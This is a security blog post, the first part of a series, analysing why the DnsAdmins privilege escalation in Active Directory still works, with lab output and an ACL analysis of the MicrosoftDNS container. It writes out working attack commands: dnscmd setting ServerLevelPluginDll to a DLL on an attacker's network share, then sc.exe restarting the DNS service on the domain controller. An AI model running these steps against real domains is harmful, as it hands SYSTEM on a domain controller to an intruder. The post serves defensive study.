Why DnsAdmins privilege escalation is still working ?

    Hello,

    In this article, first part of a serie, i’m talking about DnsAdmins and why this is a group you should take care of. I know that several articles talk about the privilege escalation (DNS service running on a domain controller and loading an arbitrary DLL).

    We will quickly review this attack, but mainly i would rather focus on why it is still working nowadays, which permissions do you need to run this attack. I will conclude in a second part with the mitigations which can be implemented to prevent this attack.

    What is DnsAdmins ?

    Long story short, as mentioned in the Active Directory guide from the french cybersecurity national agency (ANSSI) ;

    members of the DnsAdmins group are granted access rights to manage a Microsoft DNS service. 
    

    So as a member of DnsAdmins group, you can manage your DNS zones and DNS services. You can for example create a new DNS zone, manage your DNS entries, start / stop the dns.exe service which is running as SYSTEM and being hosted, most of the time, by a domain controller. More generally you can perform any setup and configuration tasks dealing with your DNS servers.

    We already know that a privilege escalation exists from a user being a member of DnsAdmins. As a reminder from https://adsecurity.org/?p=4064 ;

    • member of DnsAdmins or have write access to a DNS server object
    • DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe.
    • According to Microsoft protocol specification, the “ServerLevelPluginDll” operation enables us to load a dll of our choosing (with no verification of dll path).
    • dnscmd.exe already implements this option: dnscmd.exe /config /serverlevelplugindll \\path\to\dll
    • When executing this dnscmd.exe command as a user that is a member of DnsAdmins, the following registry key is populated: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
    • Restarting the DNS service will load the DLL in this path; however, the DLL needs to contain “one of the DnsPluginInitialize, DnsPluginCleanup or DnsPluginQuery exports.”
    • The DLL simply needs to be available on a network share that the Domain Controller’s computer account can access.

    As said ;

    DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe
    

    Let’s check ;

    C:\Users\attacker\Documents\impacket>rpcdump.py DC01
    ...
    Protocol: [MS-DNSP]: Domain Name Service (DNS) Server Management 
    Provider: dns.exe 
    UUID    : 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076 v5.0 
    Bindings: 
              ncacn_ip_tcp:0.0.0.0[49679]
    ...
    

    MicrosoftDNS container

    CN=System is a top-level container of a domain naming context, which is used for miscellaneous domain configuration objects. Examples include trust objects, DNS objects, and group policy objects. It contains the CN=MicrosoftDNS container.

    In general a service with specific access rights stores its security settings in the registry key HKLM\System\CurrentControlSet\Services\<service_name>\security.
    In our case, the dns service will use as a security descriptor the one applied to the LDAP MicrosoftDNS object.

    Thanks to ldp.exe, let’s have a look at the MicrosoftDNS security descriptor ;

    You also can read the ntSecurityDescriptor attribute thanks to this command ;

    PS C:\> (Get-ADObject "CN=MicrosoftDNS,CN=System,$((Get-ADRootDSE).defaultNamingContext)" -Properties ntSecurityDescriptor | select -ExpandProperty ntSecurityDescriptor).access | Where-Object {$_.IdentityReference -Like "*DnsAdmins*"}
    
    
    ActiveDirectoryRights : CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner
    InheritanceType       : All
    ObjectType            : 00000000-0000-0000-0000-000000000000
    InheritedObjectType   : 00000000-0000-0000-0000-000000000000
    ObjectFlags           : None
    AccessControlType     : Allow
    IdentityReference     : PHACKT\DnsAdmins
    IsInherited           : False
    InheritanceFlags      : ContainerInherit
    PropagationFlags      : None
    

    With this last command you will get the GENERIC_WRITE right, which stands for RIGHT_READ_CONTROL | RIGHT_DS_WRITE_PROPERTY | RIGHT_DS_WRITE_PROPERTY_EXTENDED.

    So according to the Active Directory Technical Specification (Page 419), what is the RIGHT_DS_WRITE_PROPERTY_EXTENDED and why is it important in our exploitation ?

    What are the necessary rights for the exploitation

    Let’s play with DnsAdmins rights and see what happens in the context of a DnsAdmins member. Let’s assume that our attacker user got a control path to add himself to DnsAdmins for example ;

    PS C:\> Get-ADGroupMember DnsAdmins
    
    
    distinguishedName : CN=attacker,CN=Users,DC=phackt,DC=local
    name              : attacker
    objectClass       : user
    objectGUID        : 1cab0c62-e28b-4a80-b13f-f1ff515d6d44
    SamAccountName    : attacker
    SID               : S-1-5-21-3816950244-2414788102-2833019223-1612
    
    PS C:\> whoami
    phackt\attacker
    
    PS C:\> dnscmd DC01.PHACKT.LOCAL /config /serverlevelplugindll \\attackermachine\dll\mimilib.dll
    
    Registry property serverlevelplugindll successfully reset.
    Command completed successfully
    

    dnscmd.exe will need the DNS RSAT installed:

    Add-WindowsCapability –online –Name "Rsat.Dns.Tools~~~~0.0.1.0"

    So what happened ?

    The ServerPluginDll has been set, you can restart the DNS service to trigger your exploit :

    sc.exe \\dc01.phackt.local stop dns
    sc.exe \\dc01.phackt.local start dns
    

    Now let’s drop the RIGHT_DS_WRITE_PROPERTY_EXTENDED right ;

    Now let’s get back to our exploitation ;

    Hum ok it does not work anymore. So let’s rollback and drop this time the RIGHT_DS_WRITE_PROPERTY ;

    We are also getting ERROR_ACCESS_DENIED.

    First conclusion

    We can run the DnsAdmins privilege escalation because DnsAdmins is a trustee with the RIGHT_DS_WRITE_PROPERTY and RIGHT_DS_WRITE_PROPERTY_EXTENDED rights on MicrosoftDNS container. As mentioned, the dns.exe service is using the MicrosoftDNS security descriptor to define its access rights.

    RIGHT_DS_WRITE_PROPERTY_EXTENDED :

    The right to perform an operation controlled by a validated write access right. The ObjectType member of an ACE can contain a GUID that identifies the validated write. If ObjectType does not contain a GUID, the ACE controls the rights to perform all validated write operations associated with the object.

    We understand that it allows the trustee (DnsAdmins) to write any extended property of our dns service. It makes sense that the needed rights expected to edit the registry key (the write permissions we just talked about) are checked in the code of the DNS service. May be it should be worth reversing the RPC exposed.

    We will review in a second part why DnsAdmins has to be considered as a Protected Group and the other mitigations to implement.

    Let’s have a look at the following groups ;

    PS C:\> Get-ADGroup DnsAdmins -Properties members,admincount
    
    
    DistinguishedName : CN=DnsAdmins,CN=Users,DC=phackt,DC=local
    GroupCategory     : Security
    GroupScope        : DomainLocal
    Members           : {}
    Name              : DnsAdmins
    ObjectClass       : group
    ObjectGUID        : 54d747e8-f9c2-461b-b8f2-5cc0b99249cc
    SamAccountName    : DnsAdmins
    SID               : S-1-5-21-3816950244-2414788102-2833019223-1101
    
    
    
    PS C:\> Get-ADGroup 'Domain Admins' -Properties members,admincount
    
    
    admincount        : 1
    DistinguishedName : CN=Domain Admins,CN=Users,DC=phackt,DC=local
    GroupCategory     : Security
    GroupScope        : Global
    Members           : {CN=testdaadmin,CN=Users,DC=phackt,DC=local, CN=Administrator,CN=Users,DC=phackt,DC=local}
    Name              : Domain Admins
    ObjectClass       : group
    ObjectGUID        : 6e647868-0e92-4686-b555-e4b5b53e1a15
    SamAccountName    : Domain Admins
    SID               : S-1-5-21-3816950244-2414788102-2833019223-512
    

    Keep in mind that for the Domain Admins group, you can see the proof that the Security Descriptor Propagator has been processed thanks to the property admincount set to 1, meaning that “Domain Admins” is a Protected Group as we will see later. It’s not the case for DnsAdmins.

    Thanks for reading and see you in part 2,
    Phackt.